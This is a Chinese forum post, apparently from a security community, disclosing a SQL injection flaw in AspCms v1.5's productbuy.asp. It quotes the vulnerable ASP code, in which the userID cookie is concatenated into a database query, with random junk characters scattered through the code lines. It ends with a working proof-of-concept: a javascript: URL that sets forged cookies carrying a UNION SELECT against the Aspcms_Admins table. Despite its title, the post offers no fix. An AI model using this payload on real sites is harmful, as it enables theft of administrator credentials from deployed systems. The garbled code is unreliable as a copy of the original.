AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
' Y+ a- i) u7 |也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
% N1 _: ]& @2 q' I# M. a7 P) w" b
1 J$ i' B9 N6 U5 ~<%

if action = "buy" then

4 }/ K/ q9 ~8 h4 t7 @5 @8 P        addOrder()
. f. _0 {) m$ S. \% A
, Z; l/ y* ]0 K+ }* M+ oelse
% h& \) J  S9 X1 S' m/ k8 x6 D
        echoContent()
4 d" H+ L# o1 h* l
end if
) l2 A$ d4 }( M% [/ Y  b  @


……略过

# y0 a: K9 n! I$ |
! q7 n% A# I) ]/ G1 |2 d$ Z; n
Sub echoContent()

( u# S/ I) ~* @3 U" M        dim id

2 }7 y2 D4 P) F+ l% @* Z" m        id=getForm("id","get")
) t  W  I0 t; j+ z* f' k
        

/ U2 r, V$ R/ {: [        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
0 ?' k8 ?0 o1 f4 ], p' L
        
3 M0 X) m7 \7 m. I$ I6 G# v7 g
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
- |9 w% X( \/ O2 k% c8 t+ V2 b& s2 B
/ }* b: \( Z3 K, }. h* q        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
6 i2 w$ [* G! \5 k* n$ ~

. V- D3 |1 @% T% m9 z" M, d
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)
9 `4 b4 g- j. D
        
1 h" n/ v$ M7 Q! n$ v% N7 D! @
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
! I3 C4 C$ ?: m% X+ c" C
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
4 q; Q! K2 t+ ^% h" a9 L
- |7 r2 m0 u$ y  ]* F% e        if rCookie("loginstatus")=1 then  
7 r3 o4 Y& @. t% A8 a7 C5 \
/ G4 x: P4 h* {3 m( }# L                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
1 o% U# W% D. V
                linkman=rsObj("truename")
/ E8 t- P" r9 x
                gender=rsObj("gender")

                phone=rsObj("phone")

% l/ S2 L) p0 w! I# t' U                mobile=rsObj("mobile")
- o. r6 o$ o2 X3 T/ b
( K3 t2 f; Q2 o/ ?. A1 {) i# J                email=rsObj("email")
: h9 u& O* c# u/ _3 J5 Y% D
                qq=rsObj("qq")
( u0 C: c% S' z
" ~# n/ s' e& K9 R3 r0 {                address=rsObj("address")
% V  e$ J, v  {) O( @
                postcode=rsObj("postcode")
- [# [4 n- Z/ T4 J  @& v
% @5 I4 P! a/ I$ O9 S. Y3 V1 }, Y- \9 }        else

                gender=1
6 c- }9 c# d4 x+ t
        end if

( r& x  v" E' I2 Z% r* m1 r        rsObj.close()
. \7 Z9 T+ t6 o' B/ I' ^9 Z( c, j: Q9 `- k
1 Q1 \' }; f( Y7 t               
' R! d/ Q4 B$ }) j( ^
        with templateObj

                .content=loadFile(templatePath)        

                .parseHtml()
7 T3 d2 h$ s; A8 C( t" K& M
' j" a. [2 }" `$ U8 u                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

6 I+ S. z' V0 I+ e                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
4 H* l- |; g( s4 o( {
; i1 t# m% @3 X7 H1 u                .content=replaceStr(.content,"[aspcms:gender]",gender)               

" w' z: v/ K( N$ P) q7 k8 ]9 |* @                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

                .content=replaceStr(.content,"[aspcms:email]",email)                        

6 m7 Q* g7 t: y6 f+ `" V; h; u3 P                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
5 V, }' Y9 S0 s( a: |, S" g
& k1 o/ |% M4 K, k8 J4 O                .content=replaceStr(.content,"[aspcms:address]",address)                        

$ _* K( q: u- [& }0 h5 s# M2 `                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
, {( {1 g+ n' U2 v/ H9 J
                .parseCommon()                 

( n+ U1 ~# e1 V3 H                echo .content
7 K: V, s1 n: Z7 F) G' e, }0 V3 B& B
$ I$ ]0 p4 `2 x& t2 j- x) W        end with

        set templateobj =nothing : terminateAllObjects

' k7 I! X0 b5 A9 V$ v' m4 ]: kEnd Sub
漏洞很明显，没啥好说的
poc：

7 ?8 b5 `0 n5 G$ {javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

8 D" N8 f% L6 b3 ~: \